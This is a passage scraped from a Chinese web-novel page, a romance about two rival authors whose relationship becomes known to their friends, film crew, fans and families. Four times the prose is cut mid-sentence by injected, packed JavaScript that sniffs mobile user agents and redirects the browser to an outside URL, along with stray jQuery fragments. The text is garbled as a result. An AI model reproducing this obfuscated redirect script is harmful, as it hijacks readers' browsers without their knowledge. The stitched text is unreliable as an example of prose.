照片里只露出颜语凉半张脸，模糊但掩不住帅气好看，那双牵着的手占据更多镜头，隐约可见他旁边的人一截线条硬朗的宽肩，很明显也是个男生。 发疯的人多了个廖寻桃。 她狂发几条“啊啊啊”，最后精准地猜出另一个人是谁。 【桃女王】：祝君忱。 她甚至懒得用一个疑问句，直截了当点名。 【我无言以对】：这么好猜？ 邹煜安刚刚也在扣问号，看见他这么问，吐槽道：“还能有谁。” 【我是走远】：我是不是说过，你喜欢祝君忱就像欢喜欢桃一样明显？ 远在北京独守寝室的邹煜安一抹下巴上并不存在的长胡子，故作深沉地长叹一声。 在他第二十五个独自度过的光棍节，他头一次这么清晰地意识到自己的嘴有多么灵，自己的眼光有多么毒辣。 【桃女王】：嗯，所以你和祝君忱在一起了，等于言不言和今辰好在一起了 【桃女王】：啊啊啊啊啊啊我受不了了。 她搜索聊天记录找到年初的时候邹煜安说的那句玩笑话“干脆你和今辰好搞对象好了，闲得没事还能怼两句过过瘾”，截图发到聊天框。 【桃女王】：预言家，刀了 【桃女王】：好言难劝都没你俩难劝 【程和欢】：惊！邹煜安从来没有否认过他是从未来穿越回来的！ 【我是走远】：……现在否认了。 【我是走远】：你别拿欢手机说话了，我受不了了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758142|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜语凉忍笑忍得腹痛，倚在祝君忱身上，对方的目光落在纸张，眼皮都没抬，顺手揽住了他。 颜语凉划着聊天记录突然想起来一件事，推他一把问：“今辰好老师，能不能锐评一下我的生日蛋糕？” 今辰好老师翻页的指尖一顿，锐评道：“小狗。” 小狗愣住一秒，才反应过来他是在说蛋糕侧面那句“再接今辰好的剧我是狗”。 颜语凉抬手揍他一拳：“你敢说这剧不是你塞给我的？” 他现在可全都明白了，那天祝君忱问他：“如果今辰好指明让你做编剧呢？” 颜语凉当时还觉得对方脑子转不过来。 原来脑子转不过来的是他，祝君忱又是暗示自己要发财，又是直接把签约合同塞邮箱，又是跟自己爆马甲。 他愣是半点没往那方面想啊！ 祝君忱捏住他停在自己胸口的拳头，拽着他的腕吻过去，颜语凉拒绝不了，垂目勾住他的脖子。 这个话题就被祝君忱巧妙地用色诱掀了过去。 在一吻结束时，颜语凉忽而问：“我猫呢？送猫舍了吗？” “临走前给你朋友了。”祝君忱见他面露疑惑，补充道，“廖寻桃。” 颜语凉笑：“她没揍你吗？” “嗯……没有。”祝君忱沉吟，“微信上提前沟通好的。” 他和廖寻桃早在那次一起逛夜市就加上了好友，还是桃女王本人主动的，不知道她得知祝君忱是今辰好的时候，肠子有没有青一点。 颜语凉脸一侧：“所以你要来舟山，廖寻桃是知道的，但她没跟我透露，是你叮嘱的？” “嗯，”祝君忱承认，“毕竟要来捉奸。” 颜语凉：“。” * 廖寻桃从得知祝君忱就是今辰好的那一刻便开始思索颜语凉会如何看待这件事。 而在她在地球研究小组里痛哭流涕，颜语凉的态度只是模棱两可，甚至还帮祝君忱说话的时候，她便知道——“今辰好和言不言在一起这件事只会是时间问题”。 但真正知道两人凑一块的事，她内心依然震撼。 在心头悄悄划掉了一个“最讨厌的作者”，现在空落落的，跟边上的程和欢说了半天，回到家抱着寄住在她家的想想，感觉没说够还想找人说，却不知道能跟谁说。 翻了半天列表，她私聊颜语凉征求意见：“我能把你俩的事跟蒲惠讲吗？憋死了。” 【我无言以对】：说吧，我也想看看别人会是什么反应 【廖寻桃】：你还想公开不成？ 【我无言以对】：不行吗？ 【廖寻桃】：…… 【廖寻桃】：你最好是在开玩笑。 廖寻桃盯着他那句“不行吗”脑袋有点发热，她不想再管行不行，向她的闺蜜伸去魔爪。 【桃】：在吗诡秘。 【桃】：我问你个问题。 【桃】：你如何看待好言难劝这对cp。 蒲惠知道她素来不喜欢今辰好，意图和她沆瀣一气，说：“太邪门了！” 【桃】：你别站在我的角度帮我说话，你客观说，这对cp怎么样。 【蒲惠】：…… 【蒲惠】：我觉得 【蒲惠】：好言难劝天仙配。 67. 望向你 廖寻桃以为蒲惠去除对自己的滤镜，顶了天是对这对cp无感，差一点或许是反感，然后她就可以问问对方“是不是有一点配呢？”，软化一点再告知手上这个惊天大秘密。 谁知蒲惠直接一个态度180度大反转，打断了她脑海里所有的构想。 【桃】：？ 【蒲惠】：[撤回一条消息] 【桃】：？ 【蒲惠】：算了，我实话告诉你吧…… 【蒲惠】：我是好言难劝的狗。 【桃】：？ 廖寻桃能理解自己线下嗑颜语凉和祝君忱，但是理解不了线上嗑言不言和今辰好。 她停下打问号的手，问：“嗑点在哪。” 【蒲惠】：表面冤家宿敌，实际上是互相知根知底的知音啊！ 【蒲惠】：所有人都觉得我们老死不相往来，但只有我们自己知道对对方的特殊珍视 【蒲惠】：针锋相对，却惺惺相惜。 【蒲惠】：你懂吗（大哭.jpg）（大哭.jpg）（大哭.jpg） 廖寻桃不想懂。 【桃】：[聊天截图] 她把颜语凉在地球聊天小组的官宣牵手图发给闺蜜，说：“好言难劝是真的。” 【蒲惠】：哇，你上哪找得这么贴的捡手机？ 【蒲惠】：这两只手简直就是我代好言难劝的大餐！发来！ 廖寻桃没解释，又截了一段聊天记录，含有自己的质疑和颜语凉为打破质疑露了半张脸的照片。 蒲惠见过颜语凉一次。 但她生来就是混迹Inte的龙人，混在现生的虫人，简而言之是一个爱宅社恐i女，遇到生人根本不敢多说话。 连个联系方式都忘了加，但这并不妨碍她记住言不言老师的脸。 久远记忆里的那张脸和照片里的这半张隐隐重叠。 蒲惠的脑子转不动了。 【蒲惠】：什么意思 【蒲惠】：言不言老师有对象了？ 廖寻桃见她不敢相信，直截了当地丢个炸弹过去：“言爷刚刚跟我们这群朋友说，他、和、今辰好、在一起了！” 对话框里有一阵的沉默。 估约30秒，眼前弹出满屏的问号，廖寻桃满意地仰在沙发上。 今夜疯的人又多了一个。 好闺蜜，手牵手，谁先睡着谁是狗。 廖寻桃给蒲惠讲了一晚上她所知道的颜语凉和祝君忱两人的故事，蒲惠听得又是哭又是笑。 “比我看得所有同人文都精彩！”蒲惠惊叹，“发出去都以为是产出的地步了。” 于是她们又研究了一晚上的同人文。 终于，迷瞪瞪看着各种类型的好言难劝同人的廖寻桃突然发现某篇堪称好言难劝镇圈神作的文章文风有点眼熟。 点进主页一看，风格也很眼熟，甚至有时候鸽文写的假条也好像在哪里听过。 【桃】：…… 【桃】：这篇前年就开始更新的作品，不会是你披着马甲写的吧，和你文风超级像。 【蒲惠】：啊？哈哈。怎么可能。 【桃】：。敢不敢给我你的同人软件账号截图。 蒲惠没招了。 她认栽了。 不是不敢给她看，她确实有别的小号，但是那又如何，肯定瞒不过好闺蜜的。 没错，她就是好言难劝的镇圈神太，嗑这对cp的鼻祖，还总结过无数时间线嗑点图。 现在cp粉嗑得要死要活有她百分之八十的功劳 【桃】：你有没有心！！两年前他俩八字还没一撇呐！！他俩纯恨！！ 【蒲惠】：那更好了。 【蒲惠】：嗑的就是恨海情天！ * 这次祝君忱来，定的酒店正巧在颜语凉隔壁。 昨夜颜语凉在房里点了桂花香薰，一进门就能闻到丝丝缕缕的香气。 祝君忱来他房间兜了一圈，把桌子上散落的纸张收拾好，颜语凉以为对方会好好待在他这，没想到洗了个澡出来人就不见了。 他傻傻地在不过五十平的房间唤道：“祝君忱？” 没人应。 也是，要有人应也挺吓人的，毕竟这里大抵只有床尾那个小衣柜能藏人。 颜语凉擦着头发捞起床上的手机想给祝君忱发消息，对面却掐着他洗完澡的点先发消息过来。 【忱.】：来我房间。 非工作时间颜语凉并不想动脑子，把擦湿的浴巾随手挂在架子上，抬脚出门。 昨晚祝君忱办理入住时要了两张房卡，所以颜语凉手上有一张，他象征性地敲两下门，然后“滴”地一刷卡，推开门。 祝君忱房间只开着走廊灯，里屋很暗。 颜语凉本想直接喊人名字但目光却被玄关一地的东西吸引住了。 虽然摆得不算很乱，但摊在地上也不像对方的风格。 疑惑间，那人从里屋走向前来。 颜语凉疑惑抬眸：“这些是？” 防滑胶鞋，手套，水桶，铲子，长夹子，小耙子，网兜子。 似乎都是赶海用的。 祝君忱抱着一束蓝玫瑰，款款而来邀请道：“明天一起去看日出吗？” 颜语凉倏地眼前一亮，鼻尖嗅到属于玫瑰的味道，他不自觉地去数花的数量，心头温热跨过一地杂物，接过对方递过来的花 。 ——一共29朵。 傍晚落日散尽前他说的最后一句话竟被这样巧妙而无声地还了回来。 颜语凉背手关上门，外边扫进来的光被很轻易地隔在外头，玄关处就更暗了。 祝君忱一下午、一晚上都跟他待在一块，这些东西是什么时候准备的，答案呼之欲出。 他眼睛一眨，问：“骗我要突击实际上去买这些东西了？” 祝君忱无奈勾起一个笑：“不是想骗你。”只是想给你一个惊喜。 颜语凉正要说什么，却听他又道：“言不言老师，你之前在作话里说过，你说这样的小惊喜是感情的调味料、必需品，没有的话‘爱’不够鲜活也不够完整。” 颜语凉记得。 但他没想到祝君忱也记得。 眼底有情绪闪过，他向前一步贴近对方，两人之间只隔着花束，几声“哗”响是花束包装被挤压的声音，颜语凉声音不自觉地放低：“可是我记得有人当时说我幼稚得可爱，今辰好老师，你知道是谁么？” 是他本人。 祝君忱想，他没有后退，怀里抵着那束玫瑰，偏头吻过去。 颜语凉回应，颜语凉沉沦。 唇齿舌尖溺着爱意，仅仅几天他就已经学会了接吻该如何换气，但亲得久了他还是忍不住心麻腿软喘错气，再次睁眼眼底已经湿润成露。 在无限情动中，脑海的齿轮“咔”得转动一格，颜语凉报复性地轻咬对方的下唇，尾调很薄：“你转移话题！” 被咬的地方隐隐发痛发痒，祝君忱拦住他的腰，闷头笑了一声，矢口否认：“反正不是我。” * 舟山今天五点出头的日出。 前阵子因为生病没赶上的海，没看到的朝霞，在今天都补上了。 看着慢慢变红的天边，颜语凉作远眺状，拎着长钳子靠在祝君忱身上，工作狂属性上来，联想到《海纳百石》的某个片段问：“你在书里写的海上极光你见过吗？” 祝君忱打碎他的梦：“我编的，海上很难看见极光。” “噢。”颜语凉思考片刻，“那海上摩天轮呢？” “没有那种建在海里的，只有海边摩天轮。” “我不喜欢北京的摩天轮，”颜语凉说，“市井气息太重了。” “你喜欢哪种？”祝君忱猜，“书里的四面环海？” “没那么夸张，我也说不上来。”颜语凉答，他伸手勾他的脖子，“等剧组杀青了，或者春天的时候一起去游乐园吧。” 祝君忱若有所思片刻，欣然颔首。 于是，他们有了又一个约定。 和祝君忱第一次看日出，颜语凉高兴得一整天工作效率极高，完全没有早起的后遗症。 剧组的众人以为昨天领导视察就结束了，没想到今天今辰好依然在片场蹲着，赶紧打起精神卖力做事。 卖力了一整天，转头发现今辰好老师根本没分半点注意力在他们身上，一直在看言编改剧本。 难道真的对剧本意见很多，要大改？ 但是他俩聊天的画面又那么和谐，就好像网络上那些芥蒂、争吵都不存在一样。 叫人摸不着头脑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758143|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们摸不着头脑了两天。 颜语凉最近一直在赶工剧本，把剧组围读时有修改意见的人一个个拉过来问，确保这版剧本足够完美。 祝君忱不愧是原作者，删起冗余情节，大刀阔斧、杀伐果断，添加新的情节也是得心应手、小菜一碟。 今天中午，在放饭的时候，颜语凉终于后知后觉地感觉能量条耗尽。 吃完饭想趴在桌上小憩一会儿。 刚趴着，一条小毛毯就盖在了背上，拦住所有在片场乱窜的海风。 颜语凉隙开眼睛，看见旁边的人正垂着眼眸看电子书，一只手虚搭在自己肩上帮他掖着毯子，他困倦着含糊地问：“祝君忱，你想藏么？” “藏什么？” “我俩的关系。” 他们在片场做了两天的“朋友”、“工作伙伴”，因为忙碌，回酒店也做不了几分钟的情侣。 所以，这会儿颜语凉忍不住了，他想彻彻底底地靠进对方的臂弯。 “只要你高兴。”祝君忱抬手顺势捻了下耳朵。 颜语凉眼睛都没睁，挪着身位躲进祝君忱怀里。 正打算找颜语凉聊下一场戏的细节的孙导刚扔完盒饭抬头发现言编不见了。 他那么大一个言编呢？！ 猛眨眼睛，四处观望。 哦，在今辰好老师怀里。 在今辰好老师怀里？！ 娱乐圈的大风大浪他什么没见过，能做出这么亲昵的动作是什么关系显而易见！ 剧组当然不止导演一个人看到了，众人私下的小组工作群通通炸起锅来，又无一人知道内情，只敢偷偷妄自揣测。 颜语凉这一觉睡得特别安稳，缩在祝君忱的怀里能闻到独属于对方的味道，很安心，古有安神香，他有祝君忱。 醒来的时候，发觉对方的手臂一直保持着搭着毯子的动作没变过，不禁担心：“你手不麻吗？” 祝君忱单手翻过一页电子书，很轻地摇头。 “看的什么？”颜语凉自己裹着暖融融的小毯子，凑过去，看到了一个熟悉的页面——是尽书网。 再一看左上角的书名——《她的沉默雨季》。 ？ “嗯？”颜语凉头顶冒出一个问号，“你看我书干嘛。” 他第一次见别人在他面前看自己的书，有一种被扒了衣服当场处刑的感觉。 祝君忱看他一眼，解释道：“看看你的脑袋瓜里都在想什么。前阵子课太多一直没空看。” “哦，”颜语凉问，“所以你用复习学位课的时间研究我的书，研究出什么名堂来了？” “研究出，言不言老师没有好好给我签名。”祝君忱如是说。 颜语凉脸上表情一顿，突然想起来那三本当场签名签了个痛快的书。 他捂住脸，他全然把这件事忘了，现在想来真是要多蠢有多蠢。 人甚至不能共情一个月前的自己 。 祝君忱似乎没发现他的逃避，娴熟地点开书签，翻到了那个句子，继续说：“原句明明是‘你望向我，我望向雨’，为什么给我签的时候变成了‘你望向我，我望向你’？” 他的语气沾上些别的情绪：“是忘记了，还是故意的？” “我故意的。”颜语凉松开捂住的脸，一手支着腮侧头看他，“我和池萱不同，你看向我，我就会看向你。” 池萱是沉默雨季的女主，是典型的内敛胆小，和颜语凉截然相反，所以他在签给祝君忱的书上私心把这句话改掉了。 祝君忱凑近一些，拉低音量，用只有两个人能听清的声音说：“原来言不言老师这么早就跟我表白了。” 颜语凉一手捂着自己“唰”一下就红的脖子，另一只手去锁对方的，放狠话：“我现在亲不了你，但是我能跟你同归于尽。” 剧组里的人看见言编在掐今辰好老师的脖子：啊啊啊啊好可怕是不是要打起来了，要不要上去劝架？！ 啊啊啊今辰好老师怎么嗤笑一声，要开战了吗？ 今辰好老师抬手了！！ 不要打我们可爱迷人聪明伶俐的言编啊！！ 今辰好老师摸了摸言编的头。 。 心惊胆战看了全程，蓄势待发的美术指导和造型指导顿时眼观鼻鼻观心：他们就多余担心！ 68. 书中人 祝君忱在剧组视察了三天，第三天下午的时候颜语凉向孙导请了个假送他去机场。 剧组有提心吊胆的人松了口气——啊视察终于结束了。 也有人腹诽：说是视察，其实大多是时间都是用来陪言编的。 后边两天，就算祝君忱在，他们也都逐渐也回复了正常的、不那么紧绷的工作状态。 祝君忱离开后，颜语凉奔着放假的目的又埋头苦干起来，几乎把要拍摄的每一幕都写得完美至极，考虑完全，甚至有几章写了三四个版本。 美指路过，瞟一眼他桌上的稿子，和电脑上密密麻麻的字，惊道：“言不言老师您是机器人吗？” 颜语凉把笔搁在桌上，摘下耳机，没听清对方说的话，抬头问：“什么？” “没事。”美指摸摸鼻子，说明来意，“孙导喊你过去一下。” “正好。”颜语凉起身，抱起电脑，往导演那走去。 当晚，言不言编剧捧着他完善好的剧本，在孙导欣赏的目光下光荣结束跟组工作，开启他的小假期。 有人不舍：“言编你可要常回来看看呀！” 于是便有人附和：“对呀对呀，万一孙导乱拍怎么办！” 此话一出立马，孙导立马抱起胳膊凶巴巴地剜了他一眼。 颜语凉背着包被团团围住，就像先前要改剧本一样，但是心境不同，此刻他卸下一个大包袱心情自然是愉悦非常。 他似是无所谓地笑道：“拍烂了都成，反正是今辰好的改剧。” 周析薇嘟囔：“得了吧你们关系这么好。” 人人都记得这两天颜语凉天天窝祝君忱怀里睡午觉的事，闻言纷纷点头。 这个剧组氛围很不错，大家互相间没有芥蒂，讨论起事情来七嘴八舌的却不能算吵。 颜语凉在一声声“常回家看看”里，弯起眼睛：“到时等我期末论文写完了我就过来看看。” 走出片场，回头看着目送完他后又开始忙碌的剧组，踩着软沙的脚步忍不住停顿。 舟山的海风一如既往地撩起他的衣裳，带来小岛特有的温和湿咸，目之尽处有一座忽明忽暗的灯塔。 “不舍得就再留两天。”耳机里传来男人沉和的声音，打断他莫名的思绪。 颜语凉转头继续往外走，笑骂：“你喜欢上班你来替我。” “那你替我上早八。”祝君忱说。 他们今天一整天都连着电话，颜语凉知道祝君忱今日所有行程——对方上午上了两节课，中午回家煮了一碗面，顺便给想想梳了毛，下午看了好一阵的书然后开始写某门课的研究报告。 途中也就祝君忱有个电话打进来那会断开几分钟，其余时间他们都挂着。 颜语凉很享受和这人挂着电话的感觉，忙碌的间隙停下来看见微信通话仍然一秒一秒跳动，感觉他时刻有祝君忱陪着，尽管连对方脸都看不到。 他走在沥青道上，高松树下，感受拂过脸颊的阵阵晚风，突然对电话那头正在埋头敲报告的祝君忱说：“从小到大，我喜欢看小说，喜欢看电影，我曾经发呆想过一个问题。” 那头的键盘声停顿，祝君忱问：“什么问题？” “你说我们会不会也不过是某本书的一角？” 电话里安静片刻，颜语凉感觉对方在很认真地思考这个问题，祝君忱回答道：“人人都有故事，人人便都是书中人。” “嗯，要不网上励志文案说‘书写自己的人生’呢。”颜语凉对这个答案有些满意，“也许在这本书里我们只是与主角团擦肩而过的过路人，也许在另一本书里我们就是光环点满的主角。” “如果创造一个以你为主角的故事，你希望是什么样的？”祝君忱那边清脆的键盘声又响起来，他顺势问。 颜语凉听了一会电话里的键盘声，轻声回答：“打怪，升级。” 顿住，补充：“还得有你。” 如果我是这本书的主角。 我希望会有另一个主角，是你。 ＊ 颜语凉是第二天一大早的飞机。 昨晚剧组下戏晚，孙导派锅子代全组送来了一束花和几张有落款的手写贺卡，以表不舍与祝福。 颜语凉带不走花，把那几张贺卡塞进背包里带回北京，塞进家中书柜上某个盒子里。 他一回家就闷头睡了一下午，突然结束工程量巨大的工作，俱疲的身心一下子放松下来，睡得畅快淋漓。 醒来看到祝君忱消息的时候才想起来今天是11月15号，是青书决赛投票结束，结果公布的日子。 祝君忱说得很对，前阵子《小姐小姐》确实爬到了第一名，但那篇《无期水》更像一匹黑马，在前天一跃成为第一，斩获金奖。 《小姐小姐》退居第二获得银奖。 剩下三部作品都是铜奖 【我无言以对】：《无期雨》这么厉害？ 颜语凉回完祝君忱消息点开博客，发现热搜已经爆了好几条。 这个比赛什么时候热度这么高了？ 他疑惑地研究了一会儿，原来祝君忱在提交作品的时候填的名字是“言不言＆今辰好”，官方按照惯例公布结果时会公布创作者名字，而他和祝君忱两个人拼在一起被公开如同一个重磅炸弹。 ＃《小姐小姐》言不言＆今辰好 ＃言不言今辰好四搭 ＃言不言是今辰好的托 [啊啊啊我草真的假的] [啊啊啊啊我觉得青书比赛的这个作者名一定是造假了！肯定蹭热度呢！] [蹲一个正主否认吧！] [乱写作者名这种事比赛方肯定会严查吧，严谨来说，这肯定是已经确认过才公布出来的。] [我去看了这个小姐……确实有言不言老师的风格在里面。] 颜语凉盯着这几个热搜，缩在被子里默然看了好一会儿的评论。 片刻后，言不言老师发表博客。 【言不言： ＃言不言是今辰好的托 只有这个是假的】 好消息：正主澄清了。 坏消息：澄清的不是重点，重点没澄清。 没澄清就是承认！ [啊啊啊啊所以好言难劝四搭了？！] [我去翻了青书的赛程规则，这比赛中期还得答辩啊！那你们两个现实见过面了？！] [这个合作剧本赛道好像说建议线下交流吧，所以？] [啊？？？？《小姐小姐》是你俩一起写的？？？？] [？？？是我打开博客的方式不对还是我没睡醒？我怎么记得你们前两天还在刀剑相向？] 于是文娱热搜榜上的 “言不言是今辰好的托”逐渐变成了“言不言否认是今辰好的托”。 现在已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758144|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经快下午四点半，颜语凉关闭博客想给祝君忱打个电话问问晚饭怎么解决。 他今天还有一项任务——为尽书网作家分享大会做收官，所以晚饭得提前，或者结束后去吃个夜宵代替。 “嘟……请不要挂机，您拨打的电话正在通话中。” 颜语凉盯着手机上闪动的电话页面。 没打通。 他换了个姿势平躺在床上，神情微怔，抬手薅了下头顶睡乱的小卷毛。 突然，翻身坐起来。 走！ 起床！ 捉奸！ * 中午接了颜语凉回来，祝君忱便在书房里写上午没建完的数学模型，一坐就是两个半小时。 手机响铃好几下，他以为是颜语凉的消息，抬起屏幕一看却发现是陆昼妍。 【陆昼妍】：！！！ 【陆昼妍】：哥！！！！！ 【陆昼妍】：你和言爷认识了？！ 【陆昼妍】：什么时候的事情！！！ 祝君忱感觉眼睛被感叹号攻击了，幻视刚才某个图表上绘制的虚线，一阵头痛。 他看见他这个表妹就头痛。 【忱.】：你记不记得七夕我手机被人捡了 【陆昼妍】：记得 【陆昼妍】：这跟言不言有什么关系 关系大了。 【忱.】：你给我打的电话，是他接的 这个他是谁不言而喻。 但陆昼妍不信。 【陆昼妍】：谁？？？ 【陆昼妍】：你是说那天我和言不言老师说话了，但是我不知道？！ 【忱.】:嗯。 【陆昼妍】：你骗我。 “……”祝君忱脸一瘫，感觉自己和表妹八字不合，把手机一翻继续写报告去。 颜语凉给他打电话的时候他刚接上陆缘的电话。 陆缘平时很忙，这会不知哪来的国际时间丢了个电话过来，上来便开始慰问他和言不言认识的事：“听妍妍说，你和言不言一起参加了青书比赛？” “嗯。”祝君忱把电脑关机，打算打完这个电话就去找颜语凉。 “那你们现在关系是不是还不错？” “嗯。”祝君忱应着，心想其实不止不错。 陆缘觉得孩子出息了，轻声八卦道：“言不言老师长得怎么样？好看吗？” “……”祝君忱沉声，“好看。” “下次介绍给我看看。”陆缘一本正经，“说不定以后有机会能投资他的剧本呢！” 祝君忱心说：亲儿子的改剧也没见你多管一管。 嘴上却不由自主地含笑：“肯定是要介绍给你看的。” 电话那头的陆缘听着怪异，琢磨好一会却不知道怪在哪。 母女两人的话题不多，没人接话就陷入一阵沉默，陆缘正要说“挂了吧”，就听他儿子说：“我恋爱了。” “哦？”陆缘语调上扬，一挑眉，“万年铁树开花了？是谁让你动春心了？” 祝君忱没理妈妈的戏谑，兀自爆料：“男的。” “哦。”陆缘的语气还没有上一句波澜大，“意料之中。” “嗯，”祝君忱说，“是言不言。” ？ ？？？ 陆缘大脑当场宕机，感觉自己没听懂这句由中文组成的话。 69. 猫耳朵 飞速回忆国庆期间祝君忱对言不言态度的转变、突然要跟她换《沉默雨季》典藏版，还有一捧起手机看消息就莫名变得爱笑的样子。 陆缘懂了。 祝君忱等他妈妈消化完这个消息，笑着说：“你和陆昼妍不是都说重金求娶言不言么？” 陆缘：“……” 原来和言不言在一起是为了她们吗。 “多久了？”陆缘担心，“他知道你是今辰好吗？” “快半个月了。”祝君忱从书房走到客厅，“他知道。” 门口突然传来窸窸窣窣的动静，他抬眼往玄关看过去。 “也是，那天你去签售会露脸了，不知道也怪。”陆缘在手机那头说着，祝君忱的目光却落在正在“哐哐”响的门锁上。 “那你可得谢谢言不言宽宏大量不计前嫌。” “要不然你可追不上他。” “你们进展到哪了？” “喂？”陆缘察觉到儿子突然没了动静奇怪地询问。 祝君忱已经信步走到了门口。 不同于颜语凉家里的密码加指纹锁，他家的门锁是指纹加远程操控。 而现在，有人在撬他的门锁，哦不，准确来说是在拆。 “嗯。”祝君忱保持着抬手打电话的姿势，划开猫眼，果不其然看见了猫着腰不知道在做什么贼的颜语凉。 “怎么了？”陆缘怪道。 “言不言老师在撬我的门。” 莫名从这句话里听出一些炫耀的陆缘：…… 三两句挂了电话，祝君忱开门迎接他做贼胆大的男朋友。 颜语凉没真想拆他门，直起身子 ，闹道：“你门为什么没锁眼？” “……防贼。”祝君忱盯着他手里不知哪里弄来的铁丝说。 颜语凉扑过去抱住他：“你在和谁打电话！” “我妈。” 颜语凉意图捉奸失败，气焰顿消，保持着挂在他身上的姿势，话题换得飞快：“想你了。” 祝君忱拉着他的手录了个门锁指纹，然后把入室盗窃失败的小偷领进家里。 小猫还没来得及接回颜语凉自己家里，却没有半点寄人篱下的样子，肉眼可见祝君忱家里的沙发上黏着好几处猫毛。 颜语凉慢步走进，发现对方客厅的布局有几处很明显的变化——电视机旁边新修了一个半开放式高柜，一共四层，底层放着猫砂盆，倒数第二层放着猫碗，在往上是窝、寮望台、玩具屋…… 颜语凉不知是先惊叹还是先震撼，话在喉头滚了一圈，说：“搞得我都想住了。” 身后的人靠近很轻地摸摸他的头。 颜语凉很享受，转头愉悦道：“干嘛？” “看你有没有长猫耳朵。” 颜语凉也薅了把自己的头，只摸到一把柔软的卷毛。 人不能变成猫，他这样想。 遗憾地偏开目光，看到靠阳台那边摆着一个竖着的圈状物，他没见过，看着又很眼熟，便问：“这又是什么？” 他轻轻一碰这个圈圈，顺滑地转了半圈，想想优雅地走过来躺在了里面。 “跑步机。”祝君忱解释。 他知道为什么眼熟了，仓鼠的跑步机就长这样，眼前这个就如同仓鼠跑轮等比放大版。 “……”颜语凉记得第一次把想想托给他的时候，对方说的“在家里给它买个跑步机”。 真当个事办啊！ “那它跑吗？”想想窝在跑步机里翻肚皮，颜语凉抬手摸它腹部的软毛。 祝君忱听到这个问题沉默片刻，欲言又止。 颜语凉看他表情就懂了。 祝君忱有仔细观察过，说：“它当窝睡，起床磨爪子会走两步。” 颜语凉感慨：“不愧是我的猫。” 祝君忱学着他的样子蹲下来：“嗯，一样不喜欢动弹。” 颜语凉撞他，不满道：“应该是一样可爱迷人。” * 日光渐渐西落，颜语凉想念小区楼下赵大娘的酸菜鱼，两人便下楼解决了晚饭。 因为今晚颜语凉要直播尽书网分享大会的事，他们散步没有耗很多时间，只在周边浅浅地压会马路。 【编编慕唯】：言不言老师别忘了今晚的分享大会呀 【编编慕唯】：可以转发官博官宣啦！ 尽书网博客官号公布最后一批作家的时候卖了个关子，把颜语凉的头像抹黑说是“神秘作家”压轴，但其实他觉得这个关子卖或者不卖关系都不大，因为他之前已经在廖寻桃的直播间说过自己会参加，而他不在前面的名单里。 若最后一位不是他，那才叫大跌眼镜。 时间一过六点，收到编辑的消息，颜语凉点进官方博客转发，才后知后觉地有些忐忑，他拽祝君忱袖子：“这个直播，应该怎么搞。” 祝君忱以为他至少有些准备，想来颜语凉刚从舟山回来，倒头就是睡，估计都没调过设备，直播是六点半开始，现在调也不是来不及。 但是祝君忱牵过他的手，建议：“去我那播吧。” 颜语凉的目光落在他温暖的、扣紧自己的手上，抬抬眼皮：“这么刺激。” 采纳了。 他跟着祝君忱去了他的书房。 颜语凉现在已经可以熟练地把祝君忱和今辰好拼在一起，他看着祝君忱书桌上和今辰好直播时截然不同的键盘，问：“你之前直播用的那个键盘呢？” “我的旧键盘，有两个键不太灵光，就搁置不用了。”祝君忱指指书架上某一层。 颜语凉主人一样自然，坐在对方的工作椅上，祝君忱站在身侧给他开电脑，他还记得那天的开播流程，把颜语凉环在臂弯里教他：“这个是摄像头，对着手就行，你登陆自己的直播账号，别用成了我的。” 祝君忱三两下调试完，对他说：“待会按这个键就能开播了。” “这个是关闭礼物，这个是美颜，但是你不对着自己的脸用不上，这个是限制弹幕评论，你可以设置关注你才能发评论，或者是互关才能发评论……” 颜语凉仰在他怀里，看着他唇瓣一张一翕，抬头亲了一口祝君忱的下巴，问：“常用文档软件在哪？” “要文档软件干什么？”祝君忱奇怪，但还是帮他打开软件，“在这。” “哑巴直播，打字交流，不得用文档？”颜语凉意有所指，绷着嘴角坐直。 ？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758145|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝君忱听出他的言外之意，警告性地捏捏他的腮帮子。 颜语凉嗷呜一口咬住他的食指，挑衅抬眸，却见祝君忱若有所思地垂目，视线落在他的唇处，一动手指借势拂过他的舌苔。 